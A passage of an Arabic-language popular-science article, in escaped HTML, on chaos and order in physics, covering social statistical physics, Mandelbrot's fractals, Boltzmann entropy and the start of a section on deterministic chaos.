\u0627\u0644\u0647\u0646\u062f\u0633\u064a\u0629 \u0648\u0627\u0644\u0628\u0646\u0649 \u0627\u0644\u0631\u064a\u0627\u0636\u064a\u0629. \u0625\u0644\u0627 \u0623\u0646 \u0627\u0644\u0639\u0645\u0644 \u0627\u0644\u0646\u0627\u062a\u062c\u060c \u0623\u064a \u0627\u0644\u0639\u0627\u0644\u0645\u060c \u062e\u0636\u0639 \u0644\u0644\u0635\u064a\u0631\u0648\u0631\u0629\u060c \u0644\u0644\u0632\u0645\u0646 \u0648\u0627\u0644\u062d\u0631\u0643\u0629 \u0627\u0644\u062f\u0627\u0626\u0645\u0629.<\/span><\/p>\n<p style=\"text-align: right;\" dir=\"rtl\"><span style=\"font-size: medium;\">\u0648\u0647\u0643\u0630\u0627 \u0641\u0625\u0646 \u0639\u0627\u0644\u0645\u0646\u0627 \u064a\u0634\u062a\u0645\u0644 \u0639\u0644\u0649 \u0627\u0644\u0646\u0638\u0627\u0645 \u0648\u0627\u0644\u0641\u0648\u0636\u0649 \u0628\u0622\u0646 \u0648\u0627\u062d\u062f. <strong>\u0641\u0647\u0648 \u0645\u0646\u0638\u0645 \u0648\u064a\u062e\u0636\u0639 \u0644\u0642\u0648\u0627\u0646\u064a\u0646 \u0645\u062d\u062f\u062f\u0629 \u0628\u0641\u0636\u0644 \u0627\u0644\u0630\u0645\u064a\u0648\u0631\u063a\u0648\u0633.<\/strong> \u0648\u0645\u0639 \u0630\u0644\u0643 \u0641\u0625\u0646 \u0627\u0644\u0627\u062d\u062a\u0645\u0627\u0644\u064a\u0629 \u0642\u0627\u0626\u0645\u0629 \u0641\u064a\u0647\u060c <strong>\u0644\u0623\u0646 \u0627\u0644\u0641\u0648\u0636\u0649 \u0648\u0636\u0639\u062a \u0628\u0645\u062c\u0631\u062f \u0648\u062c\u0648\u062f\u0647\u0627 \u0627\u0644\u0628\u062f\u0626\u064a \u0634\u0631\u0648\u0637\u0627\u064b \u0628\u062f\u0626\u064a\u0629 \u0645\u0646\u062a\u0638\u0645\u0629 \u0648\u0645\u0639\u0642\u062f\u0629 \u062c\u062f\u0627\u064b\u060c \u0628\u0644 \u0648\u0641\u0648\u0636\u0648\u064a\u0629<\/strong>\u060c \u0628\u062d\u064a\u062b \u0644\u0627 \u064a\u0645\u0643\u0646 \u0648\u0635\u0641\u0647\u0627.<\/span><\/p>\n<p style=\"text-align: right;\" dir=\"rtl\"><span style=\"font-size: medium;\"><strong>\u0644\u0630\u0627 \u0641\u0625\u0646 \u062f\u0631\u0627\u0633\u0629 \u0627\u0644\u0641\u0648\u0636\u0649 \u0644\u0627 \u062a\u062a\u0637\u0644\u0628 \u0641\u0642\u0637 \u0645\u0646\u0627\u0638\u064a\u0631 \u0648\u0645\u0641\u0627\u0647\u064a\u0645 \u062c\u062f\u064a\u062f\u0629\u060c \u0628\u0644 \u0648\u0638\u0647\u0648\u0631 \u062d\u062f\u0633 \u0648\u062d\u0633\u0627\u0633\u064a\u0629 \u062c\u062f\u064a\u062f\u064a\u0646.<\/strong><\/span><\/p>\n<p style=\"text-align: right;\" dir=\"rtl\"><span style=\"font-size: medium;\">\u0639\u0646\u062f\u0645\u0627 \u0633\u0626\u0644 \u0625\u064a\u0644\u064a\u0627 \u0628\u0631\u063a\u0648\u062c\u064a\u0646 I. Prigogine \u062d\u0648\u0644 \u062a\u0645\u062c\u064a\u062f\u0647 \u0644\u0644\u0641\u0648\u0636\u0649 \u0623\u062c\u0627\u0628: \u00ab\u00a0\u0628\u0644 \u0625\u0646\u0646\u064a \u0639\u0644\u0649 \u0627\u0644\u0639\u0643\u0633 \u062a\u0645\u0627\u0645\u0627\u064b\u060c \u0645\u0642\u062a\u0646\u0639 \u0623\u0646\u0646\u0627 \u0628\u062d\u0627\u062c\u0629 \u0625\u0644\u0649 \u0645\u062e\u0637\u0637\u0627\u062a \u0645\u062d\u062f\u062f\u0629 \u0648\u0625\u0644\u0649 \u0645\u062e\u0637\u0637\u0627\u062a \u0627\u062d\u062a\u0645\u0627\u0644\u064a\u0629 \u0641\u064a \u0622\u0646 \u0648\u0627\u062d\u062f.\u00a0\u00bb \u0648\u064a\u0648\u0627\u0641\u0642\u0647 \u0628\u0634\u0643\u0644 \u0622\u062e\u0631 \u0627\u0644\u0631\u064a\u0627\u0636\u064a \u0625\u064a\u0641\u0627\u0631 \u0625\u064a\u0643\u0644\u0627\u0646\u062f I. Ekland: \u00ab\u00a0\u0625\u0646 \u062a\u062d\u062f\u064a\u062f\u064a\u0629 \u0642\u0648\u0627\u0646\u064a\u0646 \u0627\u0644\u0637\u0628\u064a\u0639\u0629 \u0644\u0627 \u062a\u0633\u062a\u0628\u0639\u062f \u0627\u0644\u0646\u0632\u0648\u0629 \u0648\u0627\u0644\u0635\u062f\u0641\u0629 \u0648\u0627\u0644\u0644\u0627\u0645\u062a\u0648\u0642\u0639.\u00a0\u00bb<\/span><\/p>\n<p style=\"text-align: right;\" dir=\"rtl\"><span style=\"font-size: medium;\">\u0641\u0625\u0630\u0627 \u0643\u0627\u0646\u062a \u062f\u0631\u0627\u0633\u0629 \u0627\u0644\u0641\u0648\u0636\u0649 \u062a\u062a\u0637\u0644\u0628\u060c \u0628\u0627\u0644\u062a\u0627\u0644\u064a\u060c \u0627\u0644\u062a\u062e\u0644\u064a \u0639\u0646 \u0631\u064a\u0627\u0636\u064a\u0627\u062a\u0646\u0627 \u0627\u0644\u0623\u0641\u0644\u0627\u0637\u0648\u0646\u064a\u0629\u060c \u0625\u0644\u0627 \u0623\u0646 \u0631\u064a\u0627\u0636\u064a\u064a \u0627\u0644\u0641\u0648\u0636\u0649 \u0644\u0627 \u064a\u062a\u062e\u0644\u0648\u0646 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\u0623\u0646\u0645\u0627\u0637 \u0627\u0644\u0641\u0648\u0636\u0649.<\/span><\/p>\n<p style=\"text-align: right;\" dir=\"rtl\"><span style=\"font-size: medium;\">\u0648\u0645\u0646 \u0647\u0646\u0627 \u0641\u0625\u0646 <strong>\u0644\u063a\u0629 \u0627\u0644\u0641\u064a\u0632\u064a\u0627\u0621 \u0633\u062a\u0646\u0642\u0644\u0628<\/strong>. \u0641\u0628\u062f\u0644\u0627\u064b \u0645\u0646 \u0627\u0644\u062a\u0639\u0627\u0645\u0644 \u0645\u0639 \u0627\u0644\u0638\u0627\u0647\u0631\u0629 \u0645\u0646 \u0639\u064e\u0644\u064f\u060c \u0623\u064a \u0628\u062a\u0637\u0628\u064a\u0642 \u0627\u0644\u0646\u0638\u0627\u0645 \u0639\u0644\u0649 \u0627\u0644\u0638\u0627\u0647\u0631\u0629 \u0623\u0648 \u0639\u0644\u0649 \u0627\u0644\u062d\u0631\u0643\u0629 \u063a\u064a\u0631 \u0627\u0644\u0645\u0641\u0647\u0648\u0645\u0629 \u0644\u062a\u0641\u0633\u064a\u0631\u0647\u0627\u060c \u0641\u0625\u0646 \u0627\u0644\u0641\u064a\u0632\u064a\u0627\u0621 \u0633\u062a\u0628\u062f\u0623 \u0645\u0646 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medium;\"><strong>\u0648\u0628\u0627\u0644\u0641\u0639\u0644 \u0627\u0633\u062a\u0637\u0627\u0639 \u0645\u0643\u0633\u0648\u064a\u0644 \u0627\u0633\u062a\u062e\u0644\u0627\u0635 \u0627\u0644\u0646\u0638\u0627\u0645 \u0645\u0646 \u0627\u0644\u0641\u0648\u0636\u0649 \u0627\u0644\u062a\u062d\u062a\u064a\u0629<\/strong>\u060c \u0648\u0643\u0627\u0646\u062a \u0627\u0644\u0646\u062a\u064a\u062c\u0629 \u0627\u0644\u0635\u0627\u0639\u0642\u0629: <span style=\"text-decoration: underline;\"><strong>\u0627\u0644\u0643\u062b\u064a\u0631 \u0645\u0646 \u0627\u0644\u062d\u0631\u0643\u0627\u062a \u0627\u0644\u0638\u0627\u0647\u0631\u064a\u0629 \u0627\u0644\u0645\u0646\u062a\u0638\u0645\u0629 \u0623\u0648 \u0627\u0644\u0645\u062d\u062f\u062f\u0629\u060c \u0645\u0628\u0646\u064a\u0629 \u0639\u0644\u0649 \u0623\u0633\u0633 \u0623\u0643\u062b\u0631 \u0639\u0634\u0648\u0627\u0626\u064a\u0629<\/strong><\/span>. \u0648\u0643\u0627\u0646 \u0645\u0646 \u0623\u0633\u0628\u0627\u0628 \u0627\u0646\u062a\u0634\u0627\u0631 \u0648\u062a\u0639\u0645\u0642 \u0647\u0630\u0627 \u0627\u0644\u0645\u0641\u0647\u0648\u0645 \u0645\u0642\u0627\u0631\u0646\u0629 \u0645\u0643\u0633\u0648\u064a\u0644 \u0644\u0646\u0638\u0631\u064a\u062a\u0647 \u0627\u0644\u062d\u0631\u0643\u064a\u0629 \u0644\u0644\u063a\u0627\u0632\u0627\u062a \u0628\u0627\u0644\u0638\u0627\u0647\u0631\u0627\u062a \u0627\u0644\u0627\u062c\u062a\u0645\u0627\u0639\u064a\u0629.<\/span><\/p>\n<p style=\"text-align: right;\" dir=\"rtl\"><span style=\"font-size: medium;\">\u0648\u0642\u062f \u0628\u064a\u0651\u064e\u0646 \u0627\u0644\u0645\u0624\u0631\u062e \u0647\u0646\u0631\u064a \u062a\u0648\u0645\u0627\u0633 \u0628\u064e\u0643\u0651\u064f\u0644 Henry Thomas Buckel \u0623\u0646\u0647 \u0644\u0648 \u0623\u062e\u0630\u0646\u0627 \u0645\u062c\u0645\u0648\u0639\u0627\u062a \u0643\u0628\u064a\u0631\u0629 \u0628\u0645\u0627 \u064a\u0643\u0641\u064a \u0645\u0646 \u0627\u0644\u0628\u0634\u0631 \u0641\u0625\u0646 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Qu\u00e9telet\u00a0 \u0639\u0644\u0645\u0627\u064b \u062c\u062f\u064a\u062f\u0627\u064b \u0628\u0646\u0627\u0621 \u0639\u0644\u0649 \u0630\u0644\u0643 \u0647\u0648 <strong>\u0627\u0644\u0641\u064a\u0632\u064a\u0627\u0621 \u0627\u0644\u0625\u062d\u0635\u0627\u0626\u064a\u0629 \u0627\u0644\u0627\u062c\u062a\u0645\u0627\u0639\u064a\u0629<\/strong>.<\/span><\/p>\n<p style=\"text-align: right;\" dir=\"rtl\"><span style=\"font-size: medium;\"><strong>\u0647\u0643\u0630\u0627 \u0623\u0639\u0627\u062f\u062a \u0627\u0644\u0641\u0648\u0636\u0649 \u0637\u0631\u062d \u0646\u0641\u0633\u0647\u0627 \u0628\u0642\u0648\u0629 \u0639\u0644\u0649 \u0627\u0644\u0641\u0643\u0631 \u0627\u0644\u0628\u0634\u0631\u064a\u060c \u0628\u0639\u062f \u0623\u0646 \u0642\u062a\u0644\u062a\u0647\u0627 \u0622\u0644\u0647\u0629 \u0627\u0644\u0623\u0633\u0627\u0637\u064a\u0631.<\/strong><\/span><\/p>\n<p style=\"text-align: right;\" dir=\"rtl\"><span style=\"font-size: medium;\">\u00a0<\/span><\/p>\n<p style=\"text-align: right;\" dir=\"rtl\"><span style=\"font-size: medium;\"><strong>4-\u00a0 <\/strong><strong>\u0627\u0644\u0641\u0648\u0636\u0649 \u0648\u0627\u0644\u0647\u0646\u062f\u0633\u0629<\/strong><\/span><\/p>\n<p style=\"text-align: right;\" dir=\"rtl\"><span style=\"font-size: medium;\">\u0625\u0646 \u0627\u0644\u0645\u062b\u0627\u0644 \u0627\u0644\u0643\u0644\u0627\u0633\u064a \u0641\u064a \u062f\u0631\u0627\u0633\u0629 \u0627\u0644\u0641\u064a\u0632\u064a\u0627\u0621 \u0627\u0644\u0625\u062d\u0635\u0627\u0626\u064a\u0629 \u0647\u0648 \u0645\u062b\u0627\u0644 \u0627\u0644\u062c\u0633\u064a\u0645 \u0627\u0644\u0645\u062a\u062d\u0631\u0643 \u0628\u0634\u0643\u0644 \u0639\u0634\u0648\u0627\u0626\u064a \u0627\u0646\u0637\u0644\u0627\u0642\u0627\u064b \u0645\u0646 \u0646\u0642\u0637\u0629 \u062b\u0627\u0628\u062a\u0629. \u0648\u0625\u0630\u0627 \u0627\u0639\u062a\u0628\u0631\u0646\u0627 \u0623\u0646 \u0633\u0631\u0639\u062a\u0647 \u0648\u062e\u0637\u0648\u0627\u062a\u0647 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Mandelbort \u0639\u0627\u0645 1975 \u0625\u0644\u0649 \u0648\u0636\u0639 \u0647\u0646\u062f\u0633\u0629 \u062c\u062f\u064a\u062f\u0629 \u062a\u062e\u062a\u0644\u0641 \u0627\u062e\u062a\u0644\u0627\u0641\u0627\u064b \u062c\u0630\u0631\u064a\u0627\u064b \u0639\u0646 \u0627\u0644\u0647\u0646\u062f\u0633\u0629 \u0627\u0644\u0625\u0642\u0644\u064a\u062f\u064a\u0629. \u0648\u062f\u0639\u0627\u0647\u0627 <strong>\u0628\u0647\u0646\u062f\u0633\u0629 \u0627\u0644\u0641\u0631\u0627\u0643\u062a\u0627\u0644\u0627\u062a<\/strong>. \u0648\u062a\u0633\u0645\u064a\u0629 fractal \u0645\u0634\u062a\u0642\u0629 \u0645\u0646 \u0627\u0644\u062c\u0630\u0631 \u0627\u0644\u0644\u0627\u062a\u064a\u0646\u064a franger \u0627\u0644\u0630\u064a \u064a\u0639\u0646\u064a \u00ab\u00a0\u0643\u0633\u0631\u00a0\u00bb \u0623\u0648 \u00ab\u00a0\u0634\u0631\u062e\u00a0\u00bb\u060c \u0648\u0645\u0646 \u0627\u0644\u0635\u0641\u0629 fractus \u0627\u0644\u062a\u064a \u062a\u062d\u0645\u0644 \u0645\u0639\u0646\u0649 \u0627\u0644\u0644\u0627\u0627\u0646\u062a\u0638\u0627\u0645 \u0648\u0627\u0644\u062a\u0643\u0633\u0631. \u0648\u0623\u0631\u0627\u062f \u0645\u0627\u0646\u062f\u0644\u0628\u0648\u0631 \u062c\u0645\u0639 \u0647\u0630\u064a\u0646 \u0627\u0644\u0645\u0639\u0646\u064a\u064a\u0646 \u0641\u064a \u0643\u0644\u0645\u0629 \u00ab\u00a0\u0641\u0631\u0627\u0643\u062a\u0627\u0644\u00a0\u00bb<a name=\"_ftnref1\" href=\"http:\/\/www.politiquetimes.com\/maroc\/index.php\/fr\/2015-03-14-19-15-10\/2015-03-14-19-15-55\/2383-2015-06-01-00-48-48#_ftn1\" title=\"\">*<\/a>. \u0648\u0647\u0643\u0630\u0627 \u0641\u0625\u0646 \u0647\u0630\u0627 \u0627\u0644\u0645\u0639\u0646\u0649 \u0628\u0627\u0644\u0646\u0633\u0628\u0629 \u0644\u0645\u0627\u0646\u062f\u0644\u0628\u0648\u0631 \u064a\u0634\u062a\u0645\u0644 \u0639\u0644\u0649 <strong>\u0627\u0644\u0634\u0643\u0644 \u0648\u0627\u0644\u0635\u062f\u0641\u0629 \u0648\u0627\u0644\u0628\u0639\u062f<\/strong>. \u0648\u0644\u0645 \u064a\u0643\u0646 \u0623\u062d\u062f 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\u0625\u0645\u0643\u0627\u0646\u064a\u0629 \u0639\u0644\u0645\u064a\u0629 \u062f\u0642\u064a\u0642\u0629 \u0644\u062a\u062d\u062f\u064a\u062f \u0627\u0644\u0646\u0638\u0627\u0645. <strong>\u0648\u0639\u0644\u064a\u0646\u0627 \u0623\u0646 \u0646\u062a\u0630\u0643\u0631 \u062f\u0627\u0626\u0645\u0627\u064b \u0623\u0646 \u0627\u0644\u0646\u0638\u0627\u0645 \u0648\u0627\u0644\u0641\u0648\u0636\u0649 \u0643\u0627\u0646\u0627 \u0628\u0627\u0633\u062a\u0645\u0631\u0627\u0631 \u062c\u0648\u0647\u0631 \u0648\u0623\u0633\u0627\u0633 \u0627\u0644\u062a\u0637\u0648\u0631 \u0627\u0644\u0646\u0638\u0631\u064a \u0641\u064a \u0627\u0644\u0641\u064a\u0632\u064a\u0627\u0621.<\/strong><\/span><\/p>\n<p style=\"text-align: right;\" dir=\"rtl\"><span style=\"font-size: medium;\">\u00a0<\/span><\/p>\n<p style=\"text-align: right;\" dir=\"rtl\"><span style=\"font-size: medium;\"><strong>6-\u00a0 <\/strong><strong>\u0642\u064a\u0627\u0633 \u0627\u0644\u0641\u0648\u0636\u0649 \u0641\u064a \u0627\u0644\u0641\u064a\u0632\u064a\u0627\u0621: <\/strong>\u0627\u0644\u0625\u0646\u062a\u0631\u0648\u0628\u064a\u0627 Entropie<\/span><\/p>\n<p style=\"text-align: right;\" dir=\"rtl\"><span style=\"font-size: medium;\">\u0644\u0642\u062f \u062d\u0627\u0648\u0644 \u0627\u0644\u0641\u064a\u0632\u064a\u0627\u0626\u064a\u0648\u0646 \u0645\u0646\u0630 \u0632\u0645\u0646 \u0637\u0648\u064a\u0644 \u062a\u0643\u0645\u064a\u0645\/\u0642\u064a\u0627\u0633 \u0627\u0644\u0641\u0648\u0636\u0649. \u0648\u0627\u0633\u062a\u062e\u062f\u0645 \u0644\u0647\u0630\u0627 \u0627\u0644\u063a\u0631\u0636 \u0645\u0641\u0647\u0648\u0645 \u0627\u0644\u0625\u0646\u062a\u0631\u0648\u0628\u064a\u0627 Entropie. \u0648\u0643\u0627\u0646 \u0645\u0641\u0647\u0648\u0645 \u0627\u0644\u0637\u0627\u0642\u0629 \u0627\u0644\u0645\u0648\u0627\u0641\u0642 \u0644\u0644\u0645\u0628\u062f\u0623 \u0627\u0644\u0623\u0648\u0644 \u0641\u064a \u0627\u0644\u062a\u0631\u0645\u0648\u062f\u064a\u0646\u0627\u0645\u064a\u0643\u0627 \u0642\u062f \u0627\u0634\u062a\u064f\u0642 \u0645\u0646 \u062e\u0627\u0635\u064a\u0629 \u0627\u0646\u062d\u0641\u0627\u0638 \u0627\u0644\u0643\u0645\u064a\u0629 \u0627\u0644\u0627\u0633\u0627\u0633\u064a\u0629\u060c \u0645\u0645\u0627 \u0623\u062f\u0649 \u0644\u062a\u0642\u0628\u0651\u064f\u0644\u0647 \u0628\u0633\u0647\u0648\u0644\u0629.<\/span><\/p>\n<p style=\"text-align: right;\" dir=\"rtl\"><span style=\"font-size: medium;\">\u0648\u0639\u0644\u0649 \u0627\u0644\u0639\u0643\u0633 \u062a\u0645\u0627\u0645\u0627\u064b\u060c \u0643\u0627\u0646 \u0627\u0644\u0623\u0645\u0631 \u0628\u0627\u0644\u0646\u0633\u0628\u0629 \u0644\u0645\u0641\u0647\u0648\u0645 \u0627\u0644\u0625\u0646\u062a\u0631\u0648\u0628\u064a\u0627 \u0627\u0644\u0630\u064a \u0638\u0644 \u063a\u0627\u0645\u0636\u0627\u064b \u0628\u0633\u0628\u0628 \u0645\u062d\u062a\u0648\u0627\u0647 \u0627\u0644\u0643\u064a\u0641\u064a \u0646\u0633\u0628\u064a\u0627\u064b \u0641\u064a\u0645\u0627 \u064a\u062a\u0639\u0644\u0642 \u0628\u0627\u0644\u0641\u0648\u0636\u0649 \u0648\u0628\u0627\u0644\u0644\u0627\u0627\u0646\u062a\u0638\u0627\u0645 \u0648\u0628\u0627\u0644\u0644\u0627\u0639\u0643\u0648\u0633\u064a\u0629. \u0648\u0627\u0644\u062d\u0642 \u0623\u0646\u0647 \u0645\u0646 \u0627\u0644\u0633\u0647\u0644 \u062a\u0639\u0645\u064a\u0645 \u0648\u062a\u062d\u062f\u064a\u062f \u0639\u062f\u062f \u0627\u0644\u062a\u0634\u0643\u064a\u0644\u0627\u062a W \u0627\u0644\u0645\u0648\u0627\u0641\u0642 \u0644\u0642\u064a\u0645 \u0645\u0639\u0637\u0627\u0629 \u0645\u0646 \u0627\u0644\u062a\u062d\u0648\u0644\u0627\u062a \u0627\u0644\u0645\u0627\u0643\u0631\u0648\u0633\u0643\u0648\u0628\u064a\u0629 (\u0647\u064a \u0627\u0644\u062a\u0631\u0643\u064a\u0632\u0627\u062a \u0647\u0646\u0627). \u0623\u0645\u0627 \u0627\u0644\u062d\u0633\u0627\u0628 \u0627\u0644\u062f\u0642\u064a\u0642 \u0644\u0640 W \u0641\u064a\u0645\u0643\u0646 \u0623\u0646 \u064a\u0643\u0648\u0646 \u0623\u0643\u062b\u0631 \u0635\u0639\u0648\u0628\u0629 \u0628\u0643\u062b\u064a\u0631. \u0644\u0643\u0646 \u0627\u0644\u0635\u0639\u0648\u0628\u0629 \u0627\u0644\u062d\u0642\u064a\u0642\u064a\u0629 \u0643\u0627\u0646\u062a \u0631\u0628\u0637\u0647 \u0628\u0627\u0644\u062a\u0631\u0645\u0648\u062f\u064a\u0646\u0627\u0645\u064a\u0643.<\/span><\/p>\n<p style=\"text-align: right;\" dir=\"rtl\"><span style=\"font-size: medium;\">\u0648\u0642\u062f \u0628\u062f\u062f \u0628\u0648\u0644\u062a\u0632\u0645\u0627\u0646 \u0647\u0630\u0647 \u0627\u0644\u0635\u0639\u0648\u0628\u0629 \u0628\u0627\u0644\u0639\u0644\u0627\u0642\u0629 \u0627\u0644\u062a\u064a \u0642\u062f\u0645\u0647\u0627 \u0646\u062d\u0648 \u0639\u0627\u0645 1875\u060c \u0645\u0639\u0631\u0641\u0627\u064b \u0641\u064a\u0647\u0627 \u0627\u0644\u0625\u0646\u062a\u0631\u0648\u0628\u064a\u0627 \u0627\u0644\u0625\u062d\u0635\u0627\u0626\u064a\u0629 \u0628\u0627\u0644\u0634\u0643\u0644:<\/span><\/p>\n<p style=\"text-align: center;\" dir=\"rtl\"><span style=\"font-size: medium;\">S = k Log W<\/span><\/p>\n<p style=\"text-align: right;\" dir=\"rtl\"><span style=\"font-size: medium;\">\u062d\u064a\u062b S \u0627\u0644\u0625\u0646\u062a\u0631\u0648\u0628\u064a\u0627\u060c \u0648k \u062b\u0627\u0628\u062a \u0628\u0648\u0644\u062a\u0632\u0645\u0627\u0646\u060c \u0648W \u064a\u0645\u062b\u0644 \u0639\u062f\u062f \u0627\u0644\u062a\u0634\u0643\u064a\u0644\u0627\u062a \u0627\u0644\u0645\u064a\u0643\u0631\u0648\u0633\u0643\u0648\u0628\u064a\u0629 \u0627\u0644\u0645\u062a\u0648\u0627\u0641\u0642\u0629 \u0645\u0639 \u0627\u0644\u062a\u0642\u064a\u064a\u062f\u0627\u062a \u0627\u0644\u0645\u0627\u0643\u0631\u0648\u0633\u0643\u0648\u0628\u064a\u0629 \u0627\u0644\u0645\u0641\u0631\u0648\u0636\u0629 \u0639\u0644\u0649 \u0627\u0644\u0646\u0638\u0627\u0645.<\/span><\/p>\n<p style=\"text-align: right;\" dir=\"rtl\"><span style=\"font-size: medium;\">\u0648\u0646\u0644\u0627\u062d\u0638 \u0623\u0646\u0647 \u0643\u0644\u0645\u0627 \u0643\u0627\u0646 \u0627\u0644\u0646\u0638\u0627\u0645 \u0623\u063a\u0646\u0649 \u0628\u0627\u0644\u062a\u0634\u0643\u064a\u0644\u0627\u062a \u0627\u0644\u0645\u0645\u0643\u0646\u0629 \u0643\u0627\u0646\u062a \u0647\u0630\u0647 \u0627\u0644\u0625\u0646\u062a\u0631\u0648\u0628\u064a\u0627 \u0623\u0643\u0628\u0631. \u0648\u0639\u0644\u064a\u0646\u0627 \u0627\u0644\u0625\u0634\u0627\u0631\u0629 \u0625\u0644\u0649 \u0623\u0646 \u0645\u0641\u0647\u0648\u0645 \u0627\u0644\u0625\u0646\u062a\u0631\u0648\u0628\u064a\u0627 \u0647\u0630\u0627 \u064a\u062e\u062a\u0635 \u0628\u062d\u0627\u0644\u0627\u062a \u0627\u0644\u0627\u0633\u062a\u0642\u0631\u0627\u0631 \u0627\u0644\u062a\u064a \u064a\u0645\u0643\u0646 \u0644\u0644\u0646\u0638\u0627\u0645 \u0628\u0644\u0648\u063a\u0647\u0627 \u0636\u0645\u0646 \u0635\u064a\u0631\u0648\u0631\u0629 \u0644\u0627\u0639\u0643\u0648\u0633\u0629.<\/span><\/p>\n<p style=\"text-align: right;\" dir=\"rtl\"><span style=\"font-size: medium;\">\u0648\u064a\u064f\u0639\u064e\u062f \u0647\u0630\u0627 \u0627\u0644\u062a\u0639\u0631\u064a\u0641 \u0647\u0648 \u0627\u0644\u062a\u0639\u0631\u064a\u0641 \u0627\u0644\u0645\u064a\u0643\u0631\u0648\u0633\u0643\u0648\u0628\u064a \u0627\u0644\u0630\u064a \u064a\u0645\u0643\u0646 \u0631\u0628\u0637\u0647 \u0628\u0627\u0644\u062a\u0639\u0631\u064a\u0641 \u0627\u0644\u0645\u0627\u0643\u0631\u0648\u0633\u0643\u0648\u0628\u064a \u0627\u0644\u0645\u0639\u0637\u0649 \u0641\u064a \u0627\u0644\u062a\u0631\u0645\u0648\u062f\u064a\u0646\u0627\u0645\u064a\u0643 \u0628\u0627\u0644\u0639\u0644\u0627\u0642\u0629:<\/span><\/p>\n<p style=\"text-align: center;\" dir=\"rtl\"><span style=\"font-size: medium;\"><img decoding=\"async\" class=\"mwe-math-fallback-image-inline tex\" src=\"http:\/\/upload.wikimedia.org\/math\/4\/6\/7\/4676ffcacaf94be1f58779038dacc44e.png\" border=\"0\" alt=\"{\\rm d}S = \\frac{\\delta Q_{\\rm rev}}{T} \\qquad  \" \/>.<\/span><\/p>\n<p style=\"text-align: right;\" dir=\"rtl\"><span style=\"font-size: medium;\">\u0623\u064a \u0623\u0646 \u0627\u0644\u0625\u0646\u062a\u0631\u0648\u0628\u064a\u0627 S \u0647\u064a \u0645\u0643\u0627\u0645\u0644\u0629 \u0627\u0644\u062d\u0631\u0627\u0631\u0629 Q \u0639\u0644\u0649 \u062a\u063a\u064a\u0631 \u0639\u0643\u0648\u0633\u064a \u0627\u0628\u062a\u062f\u0627\u0621 \u0645\u0646 \u062f\u0631\u062c\u0629 \u0627\u0644\u062d\u0631\u0627\u0631\u0629 T = 0.<\/span><\/p>\n<p style=\"text-align: right;\" dir=\"rtl\"><span style=\"font-size: medium;\">\u0648\u0647\u0643\u0630\u0627 \u064a\u0645\u0643\u0646\u0646\u0627 \u0627\u0633\u062a\u062e\u0644\u0627\u0635 \u062a\u0639\u0631\u064a\u0641 \u0644\u0644\u0646\u0638\u0627\u0645 \u0641\u064a \u0627\u0644\u0645\u064a\u0643\u0627\u0646\u064a\u0643\u0627 \u0627\u0644\u0625\u062d\u0635\u0627\u0626\u064a\u0629 \u0627\u0639\u062a\u0645\u0627\u062f\u0627\u064b \u0639\u0644\u0649 \u0645\u0641\u0647\u0648\u0645 \u0627\u0644\u0625\u0646\u062a\u0631\u0648\u0628\u064a\u0627.<\/span><\/p>\n<p style=\"text-align: center;\" dir=\"rtl\"><span style=\"font-size: medium;\"><strong>\u0641\u062d\u0627\u0644\u0629 \u0627\u0644\u0646\u0638\u0627\u0645 \u062a\u062a\u062d\u0642\u0642 \u0639\u0646\u062f\u0645\u0627 \u064a\u0643\u0648\u0646: W = 1 \u0648 S = 0.<\/strong><\/span><\/p>\n<p style=\"text-align: center;\" dir=\"rtl\"><span style=\"font-size: medium;\">\u00a0<\/span><\/p>\n<p style=\"text-align: right;\" dir=\"rtl\"><span style=\"font-size: medium;\"><strong>7-\u00a0 <\/strong><strong>\u0627\u0644\u0641\u0648\u0636\u0649 \u0627\u0644\u0645\u062d\u062f\u062f\u0629<\/strong><\/span><\/p>\n<p style=\"text-align: right;\" dir=\"rtl\"><span style=\"font-size: medium;\">\u0628\u0639\u062f \u0623\u0646 \u062d\u062f\u062f\u0646\u0627 \u0645\u0641\u0647\u0648\u0645 \u0627\u0644\u0625\u0646\u062a\u0631\u0648\u0628\u064a\u0627 \u0628\u062f\u0642\u0629\u060c \u064a\u0628\u0642\u0649 \u0639\u0644\u064a\u0646\u0627 \u0623\u0646 \u0646\u0639\u0631\u0651\u0650\u0641 \u00ab\u00a0\u0627\u0644\u0641\u0648\u0636\u0649 \u0627\u0644\u0645\u062d\u062f\u062f\u0629\u00a0\u00bb \u0627\u0644\u062a\u064a \u0633\u0628\u0642 \u0648\u0630\u0643\u0631\u0646\u0627\u0647\u0627. \u0644\u0642\u062f \u0628\u064a\u0651\u064e\u0646 \u0628\u0648\u0627\u0646\u0643\u0627\u0631\u064a\u0647 \u0645\u0646\u0630 \u0627\u0644\u0642\u0631\u0646 \u0627\u0644\u0645\u0627\u0636\u064a \u0623\u0646\u0647 \u064a\u0645\u0643\u0646 \u0623\u0646 \u064a\u0643\u0648\u0646 \u0644\u0644\u062d\u0631\u0643\u0629 \u0627\u0644\u0645\u062d\u062f\u062f\u0629 \u0628\u062f\u0631\u062c\u0627\u062a \u0642\u0644\u064a\u0644\u0629 \u0645\u0646 \u0627\u0644\u062d\u0631\u064a\u0629 \u0628\u0639\u0636 \u0635\u0641\u0627\u062a \u0627\u0644\u062d\u0631\u0643\u0629 \u0627\u0644\u0641\u0648\u0636\u0648\u064a\u0629.<\/span><\/p>\n<p style=\"text-align: right;\" dir=\"rtl\"><span style=\"font-size: medium;\"><strong>\u0646\u0642\u0648\u0644 \u0639\u0646 \u062d\u0631\u0643\u0629 \u0645\u062d\u062f\u062f\u0629 \u0623\u0646\u0647\u0627 \u062d\u0631\u0643\u0629 \u0641\u0648\u0636\u0648\u064a\u0629 \u0645\u062d\u062f\u062f\u0629 \u0639\u0646\u062f\u0645\u0627 \u062a\u062a\u062d\u0642\u0642 \u0627\u0644\u0635\u0641\u0627\u062a \u0627\u0644\u062a\u0627\u0644\u064a\u0629: \u0639\u062f\u0645 \u0627\u0644\u062a\u0643\u0631\u0627\u0631\u060c \u0648\u0639\u062f\u0645 \u0625\u0645\u0643\u0627\u0646\u064a\u0629 \u0627\u0644\u062a\u0646\u0628\u0624 \u0627\u0644\u0645\u0633\u062a\u0642\u0628\u0644\u064a \u0628\u0647\u0627<\/strong>\u060c \u0648\u0645\u0631\u0648\u0631 \u0627\u0644\u0646\u0638\u0627\u0645 \u0628\u0627\u0644\u0636\u0631\u0648\u0631\u0629 \u0628\u0643\u0627\u0641\u0629 \u0627\u0644\u062d\u0627\u0644\u0627\u062a \u0627\u0644\u0645\u064a\u0643\u0631\u0648\u0633\u0643\u0648\u0628\u064a\u0629 \u0627\u0644\u062a\u064a \u062a\u0635\u0627\u062f\u0641\u0647 (\u00e9rgodicit\u00e9). 